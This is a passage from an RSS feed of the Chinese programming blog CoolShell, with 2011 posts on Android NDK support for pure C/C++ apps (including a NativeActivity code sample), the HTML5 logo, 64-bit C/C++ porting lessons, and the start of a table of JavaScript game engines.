crossorigin=\"anonymous\"></script>对于Android，长期以来，我一直有两件事搞不懂，</p>\n<ul>\n<li>一个是为什么Android要选用Java。对于嵌入式开发，CPU和内存都很宝贵，居然还使用Java。</li>\n<li>一个是为什么Android的<a href=\"http://developer.android.com\" target=\"_blank\">开发站点</a>要被墙。这只是一个技术网站啊。</li>\n</ul>\n<p>最近，在一个Android<a href=\"http://android-developers.blogspot.com/2011/01/gingerbread-ndk-awesomeness.html\" target=\"_blank\">开发人员的Blog</a>上证实了在NDK r5使用C/C++进行开发。（以前，Android 对C/C++开发的支持仅限于用C/C++开发动态链接库，然后在Java中以JNI的形式来调用）现在，你可以用纯C/C++开发了（参看下面的程序代码）。还有一段<a href=\"http://developer.android.com/reference/android/app/NativeActivity.html\" target=\"_blank\">完整的代码示例在这里</a>（墙，还有XML的manifest，<a href=\"https://coolshell.cn/articles/3498.html\" target=\"_blank\">又见XML</a>）。看来，Google终于明白为什么使用Android的手机（如：Moto, 三星、索爱和HTC）的触摸体验远远不及object C搞出来的iPhone。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">void android_main(struct android_app* state) {\n    // Make sure glue isn&#039;t stripped.\n    app_dummy();\n\n    // loop waiting for stuff to do.\n    while (1) {\n        // Read all pending events.\n        int ident;\n        int events;\n        struct android_poll_source* source;\n\n        // Read events and draw a frame of animation.\n        if ((ident = ALooper_pollAll(0, NULL, &amp;events,\n                (void**)&amp;source)) &gt;= 0) {\n            // Process this event.\n            if (source != NULL) {\n                source-&gt;process(state, source);\n            }\n        }\n        // draw a frame of animation\n        bringTheAwesome();\n    }\n}</pre>\n<p>我个人估计有两个原因为什么Google回头支持C/C++了，</p>\n<ol>\n<li>Google开始觉得自己整的JVM在性能上可以全面超越传统JVM，并接近C/C++，现在发现搞不定了。</li>\n<li>Google发现Java的程序员不像C/C++程序员那样注重程序的性能和效率，开发App太耗CPU和内存。</li>\n</ol>\n<p>于是只好转回支持C/C++。<strong>本来就是用C/C++写出来的Android嘛，居然不能用C/C++而只能用Java，真是太侮辱C/C++了</strong>。最后，只希望Google并不是又整了一个C/C++版的Dalvik虚拟机，不然就真是侮辱到极点了。</p>\n<p><em><span style=\"color: #800000;\">&#8212;&#8212;&#8212; 更新 2011/01/24 &#8212;&#8212;&#8212;&#8212;</span></em></p>\n<p>谢谢大家对这篇文章的评论，挺有意思的，欢迎讨论，我把我的回复更新在下面。不一定对，仅供大家参考。</p>\n<p><span id=\"more-3549\"></span></p>\n<p>Java的学习成本低，开放性好，兼容性也高，我不否认（但请大家也别否认C/C++的效率要比Java要高。而C/C++的程序员在普遍上要比Java程序员更注意性能和效率）。这应该是Andorid的一开始的定位，可见，Google关注的是程序员，而不是用户。现在转回支持C/C++必然有他的原因，如果不是性能上的原因。那么就请大家分析一下别的原因。</p>\n<p>Android本来就是用C/C++写的，要跨平台，首先是Android自己跨平台。就像Linux一样，跨平台的首先是Linux，应用开发人员只需要符合Linux的API就OK了。JVM带来的便利只是无需重新编译（就算是无需重新编译，对于开发人员来说也要去那个平台做测试的，因为不同的平台的JVM同样是不一样的）。在Native平台上编译的成本其实并不高，这个编译过程完全可以在部署的时候自动化。</p>\n<p>有人说，Java的开发成本比C/C++低，但这和语言没有关系，这其实和封装程度有关系。C/C++同样可以封装得很好。而且，C/C++的程序员比JAVA程序来说，天生就对内存和性能要敏感的多。这更有利于在手机这样资源不足的平台上做开发。</p>\n<p>尤其对于像手机这样的时尚终端来说，在用户体验上花的成本要比在开发人员上花成本要大得多的多。我以为，Google 的Android 更多的关注了程序员，而不是用户。而iPhone更多的关注了用户，也让程序员在开发过程上受到了一些牺牲（iPhone的做法是如果程序员的程序要上App Store，先交99美刀的代码审查费，就像申请美国签证一样），但是，iPhone的程序员虽然在开发的方便上有一些牺牲，但是从收入上却得到了保障。最新的消息是苹果已向开发者支付20亿美元 音乐供应商分成达120亿美元。在《<a href=\"https://coolshell.cn/articles/3363.html\" target=\"_blank\">偷了世界的程序员</a>》中对此有充分的论述。</p>\n<p><span style=\"color: #800000;\">最后，请大家思考 几个问题——</span></p>\n<ul>\n<li><span style=\"color: #800000;\">Android支持C/C++是为什么？如果是为了程序效率，那么这又是为什么？</span></li>\n<li><span style=\"color: #800000;\">是开发人员更重要，还是用户更重要？（注意：我说的是“更重要”）</span></li>\n<li><span style=\"color: #800000;\">在当今这种诸如iPhone或Andorid的开发模式下，是完全开放好，还是有适当的封闭好？</span></li>\n<li><span style=\"color: #800000;\">开发和封闭的背后的商业驱动是什么？如何在开放和封闭中权衡用户、开发者、公司和版权商的利益？</span></li>\n</ul>\n<p>苹果公司给出了一个很不错的商业模式。</p>\n<p>（完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3806.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/C_String-150x150.jpg\" alt=\"Google图片搜索下的的C String\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3806.html\" class=\"wp_rp_title\">Google图片搜索下的的C String</a></li><li ><a href=\"https://coolshell.cn/articles/2608.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/androidappinventor-150x150.jpg\" alt=\"Google App Inventor \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2608.html\" class=\"wp_rp_title\">Google App Inventor </a></li><li ><a href=\"https://coolshell.cn/articles/1152.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"关于 Chrome OS 的一些推论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1152.html\" class=\"wp_rp_title\">关于 Chrome OS 的一些推论</a></li><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3549.html\">Android将允许纯C/C++开发应用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3549.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>234</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>HTML5 logo 发布</title>\n\t\t<link>https://coolshell.cn/articles/3561.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3561.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 23 Jan 2011 00:47:19 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[W3C]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3561</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>2011年1月19日，W3C发布了HTML5的log，打开W3C的页面，下在的图片印入眼前。我的第一感觉，就像是看到了小时候看的八一电影制片产的电影。这分明是号...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3561.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3561.html\">HTML5 logo 发布</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: left;\">2011年1月19日，W3C发布了HTML5的log，打开<a href=\"http://www.w3.org/html/logo/\" target=\"_blank\">W3C的页面</a>，下在的图片印入眼前。我的第一感觉，就像是看到了小时候看的八一电影制片产的电影。这分明是号召全世界的无产Web程序员们团结起来，不畏艰难，不怕牺牲，一定要把HTML5的革命事业进行到底！<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-medium wp-image-3569\" title=\"HTML 5 Logo\" src=\"https://coolshell.cn/wp-content/uploads/2011/01/html5-logo-1-300x178.jpg\" alt=\"\" width=\"300\" height=\"178\" /></p>\n<p style=\"text-align: left;\">所以，请各位Web程序员不但在你们的HTML5的网页上加上下面的徽章（关于各个徽章的含义，请参看<a href=\"http://www.elviscai.com/view/html5-logo-released/\" target=\"_blank\">这里</a>）</p>\n<p style=\"text-align: left;\"><span id=\"more-3561\"></span></p>\n<p style=\"text-align: center;\"><a title=\"W3C HTML5 Logo\" href=\"http://www.w3.org/html/logo/\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" title=\"HTML5 Powered with Connectivity / Realtime, CSS3 / Styling, Device Access, Graphics, 3D &amp; Effects, Multimedia, Performance &amp; Integration, Semantics, and Offline &amp; Storage\" src=\"http://www.w3.org/html/logo/badge/html5-badge-h-connectivity-css3-device-graphics-multimedia-performance-semantics-storage.png\" alt=\"HTML5 Powered with Connectivity / Realtime, CSS3 / Styling, Device Access, Graphics, 3D &amp; Effects, Multimedia, Performance &amp; Integration, Semantics, and Offline &amp; Storage\" width=\"357\" height=\"64\" /></a></p>\n<p style=\"text-align: left;\">更重要的是，在你们的代码里加上这样的注释：</p>\n<p style=\"text-align: left;\">\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;!--\n.... This website is built in HTML5 ....\n...       ..... ......... ....... ......\n..     MM  MM NMMMMM MMM MMM..MM  . ....\n.      MMMMMM...MM ..MMMMMMM..MM. ......\n.      MM77MM...MM . MM.M.MM..MM........\n.      MM  MM   MM   MM.  MM..MMMMM.....\n.             . .   ....................\n. . ================================....\n.   7777777777777777777777777777777+....\n.   7777777777777777IIIIIIIIIIII777.....\n.   7777777777777777I77777I7I777777.....\n.   7777777777777777I777I7I7I777777.....\n. ..777777,,,,,,,,,,.........,7I777.....\n. ..=77777,,,,,,,,,,..   .. .+II777...\n  ...77777,,,,777777777777777II7777.....\n  . .77777,,,,777777IIIIIIIIIIII77? ..\n  ...77777,,,,777777IIIIIIIIIIII77:.....\n  ...77777:,,,,,,,,,        .I7777.\n  ...77777?,,,,,,,,,... ... .II777. ...\n  .. 777777777777777IIII=   .II777.  .\n  .. I77777777777777IIII....~II777.. .\n  ...,77777,,,,77777IIII    III77$   .\n. ....77777,,,,77777IIII    III777\n. ....77777,,,,,,,,,... ... III77,. ...\n. ....77777,,,,,,,,,       .III77.\n  ..  7777777777,,,,...=7IIIII777.. ....\n  ....$7777777777777IIIIIIIIII777    .\n  ....I7777777777777IIIII7I777777.. ....\n  .... .7777777777777777777777$~... ....\n  ...     ...~$777777777$7. ....... ....\n  ...  .  .........+....................\n  ...     ............ .  . .. .  . .. .\n--&gt;\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" alt=\"那些曾伴我走过编程之路的软件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_title\">那些曾伴我走过编程之路的软件</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3561.html\">HTML5 logo 发布</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3561.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>64位平台C/C++开发注意事项</title>\n\t\t<link>https://coolshell.cn/articles/3512.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3512.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 21 Jan 2011 00:50:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[64bits]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3512</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在http://www.viva64.com/en/l/上例出了28个在64位平台上使用C/C++开发的注意事项，对于进入64位时代的程序员应该去看看这28个事...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3512.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3512.html\">64位平台C/C++开发注意事项</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在<a href=\"http://www.viva64.com/en/l/\" target=\"_blank\">http://www.viva64.com/en/l/</a>上例出了28个在64位平台上使用C/C++开发的注意事项，对于进入64位时代的程序员应该去看看这28个事项，这些英文读物对于有C/C++功底的朋友读起来应该并不难，我估计大约20-30分钟可以精读完一篇（或者更快），下面是这28个注意事项的列表。相信对大家一点有帮助。</p>\n<ul>\n<li><a href=\"http://www.viva64.com/en/l/0001/\">Lesson 01</a>. What 64-bit systems are.</li>\n<li><a href=\"http://www.viva64.com/en/l/0002/\">Lesson 02</a>. Support of 32-bit applications.</li>\n<li><a href=\"http://www.viva64.com/en/l/0003/\">Lesson 03</a>. Porting code to 64-bit systems. The pros and cons.</li>\n<li><a href=\"http://www.viva64.com/en/l/0004/\">Lesson 04</a>. Creating the 64-bit configuration.</li>\n<li><a href=\"http://www.viva64.com/en/l/0005/\">Lesson 05</a>. Building a 64-bit application.</li>\n<li><a href=\"http://www.viva64.com/en/l/0006/\">Lesson 06</a>. Errors in 64-bit code.</li>\n<li><a href=\"http://www.viva64.com/en/l/0007/\">Lesson 07</a>. The issues of detecting 64-bit errors.</li>\n<li><a href=\"http://www.viva64.com/en/l/0008/\">Lesson 08</a>. Static analysis for detecting 64-bit errors.</li>\n<li><a href=\"http://www.viva64.com/en/l/0009/\">Lesson 09</a>. Pattern 01. Magic numbers.</li>\n<li><a href=\"http://www.viva64.com/en/l/0010/\">Lesson 10</a>. Pattern 02. Functions with variable number of arguments.</li>\n<li><a href=\"http://www.viva64.com/en/l/0011/\">Lesson 11</a>. Pattern 03. Shift operations.</li>\n<li><a href=\"http://www.viva64.com/en/l/0012/\">Lesson 12</a>. Pattern 04. Virtual functions.</li>\n<li><a href=\"http://www.viva64.com/en/l/0013/\">Lesson 13</a>. Pattern 05. Address arithmetic.</li>\n<li><a href=\"http://www.viva64.com/en/l/0014/\">Lesson 14</a>. Pattern 06. Changing an array&#8217;s type.</li>\n<li><a href=\"http://www.viva64.com/en/l/0015/\">Lesson 15</a>. Pattern 07. Pointer packing.</li>\n<li><a href=\"http://www.viva64.com/en/l/0016/\">Lesson 16</a>. Pattern 08. Memsize-types in unions.</li>\n<li><a href=\"http://www.viva64.com/en/l/0017/\">Lesson 17</a>. Pattern 09. Mixed arithmetic.</li>\n<li><a href=\"http://www.viva64.com/en/l/0018/\">Lesson 18</a>. Pattern 10. Storage of integer values in double.</li>\n<li><a href=\"http://www.viva64.com/en/l/0019/\">Lesson 19</a>. Pattern 11. Serialization and data interchange.</li>\n<li><a href=\"http://www.viva64.com/en/l/0020/\">Lesson 20</a>. Pattern 12. Exceptions.</li>\n<li><a href=\"http://www.viva64.com/en/l/0021/\">Lesson 21</a>. Pattern 13. Data alignment.</li>\n<li><a href=\"http://www.viva64.com/en/l/0022/\">Lesson 22</a>. Pattern 14. Overloaded functions.</li>\n<li><a href=\"http://www.viva64.com/en/l/0023/\">Lesson 23</a>. Pattern 15. Growth of structures&#8217; sizes.</li>\n<li><a href=\"http://www.viva64.com/en/l/0024/\">Lesson 24</a>. Phantom errors.</li>\n<li><a href=\"http://www.viva64.com/en/l/0025/\">Lesson 25</a>. Working with patterns of 64-bit errors in practice.</li>\n<li><a href=\"http://www.viva64.com/en/l/0026/\">Lesson 26</a>. Optimization of 64-bit programs.</li>\n<li><a href=\"http://www.viva64.com/en/l/0027/\">Lesson 27</a>. Peculiarities of creating installers for a 64-bit environment.</li>\n<li><a href=\"http://www.viva64.com/en/l/0028/\">Lesson 28</a>. Estimating the cost of 64-bit migration of C/C++ applications.</li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3512.html\">64位平台C/C++开发注意事项</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3512.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>18</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>JS游戏引擎列表</title>\n\t\t<link>https://coolshell.cn/articles/3516.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3516.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 20 Jan 2011 02:43:08 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Game]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3516</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这里有一个网址收集了关于JS游戏引擎开发库的一个列表，转过来。关于使用JS和HTML5做的一些小游戏，可参见《HTML5 小游戏展示》 游戏引擎 Name La...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3516.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3516.html\">JS游戏引擎列表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这里有一个<a href=\"https://gist.github.com/768272\" target=\"_blank\">网址</a>收集了关于JS游戏引擎开发库的一个列表，转过来。关于使用JS和HTML5做的一些小游戏，可参见《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2998.html\" target=\"_blank\">HTML5 小游戏展示</a>》</p>\n<h4>游戏引擎</h4>\n<table>\n<tbody>\n<tr>\n<th align=\"left\">Name</th>\n<th align=\"left\">Latest Release</th>\n<th align=\"left\">License</th>\n<th align=\"left\">Type</th>\n<th align=\"left\">Notes</th>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://renderengine.com/\">The Render Engine</a></td>\n<td align=\"left\">1.5.3</td>\n<td align=\"left\">MIT</td>\n<td align=\"left\"></td>\n<td align=\"left\">跨浏览器; 大规模 API; 开源. <a href=\"http://renderengine.com/features.php\">2</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://gamequery.onaluf.org/\">gameQuery</a></td>\n<td align=\"left\">0.5.1</td>\n<td align=\"left\">CC BY-SA 2.5</td>\n<td align=\"left\"></td>\n<td align=\"left\">和 jQuery 一起使用</td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://game.tyler-dewitt.com/\">gTile</a></td>\n<td align=\"left\">0.0.1</td>\n<td align=\"left\"></td>\n<td align=\"left\">Tile based</td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.kesiev.com/akihabara/\">Akihabara</a></td>\n<td align=\"left\">1.3</td>\n<td align=\"left\">GPL2/MIT</td>\n<td align=\"left\">Classic Repro</td>\n<td align=\"left\">基于JS+HTML5的街机风格的游戏 <a href=\"https://github.com/kesiev/akihabara\">3</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.lukewallin.co.uk/?go=engine\">The Javascript 2D Game Engine</a></td>\n<td align=\"left\"></td>\n<td align=\"left\">GPL</td>\n<td align=\"left\"></td>\n<td align=\"left\">注重于重力、物理、碰撞检测方面，使用HTML5 Canvas 和IE的ExplorerCanvas 低CPU消耗. <a href=\"http://www.lukewallin.co.uk/?go=engine\">4</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://gogomakeplay.com/gmp\">The GMP Javascript Game Engine</a></td>\n<td align=\"left\">1.7.4 (2010-10-31)</td>\n<td align=\"left\">GPL2/MIT</td>\n<td align=\"left\"></td>\n<td align=\"left\">注重于数度的操作简化，&#8221;easy to learn and use&#8221; <a href=\"http://gogomakeplay.com/gmp\">5</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://craftyjs.com/\">Crafty</a></td>\n<td align=\"left\">0.1</td>\n<td align=\"left\">GPL/MIT</td>\n<td align=\"left\"></td>\n<td align=\"left\">轻量级和模块化。 <a href=\"http://craftyjs.com/\">6</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.effectgames.com/effect/\">Effect Games</a></td>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://www.propulsionjs.com/\">PropulsionJS</a></td>\n<td align=\"left\">1.1</td>\n<td align=\"left\">MIT</td>\n<td align=\"left\"></td>\n<td align=\"left\">使用 HTML5 Canvas. <a href=\"http://www.propulsionjs.com/\">7</a></td>\n</tr>\n<tr>\n<td align=\"left\"><a href=\"http://flax.ie/category/flax-game-engine/\">Flax</a></td>\n<td align=\"left\"></td>\n<td 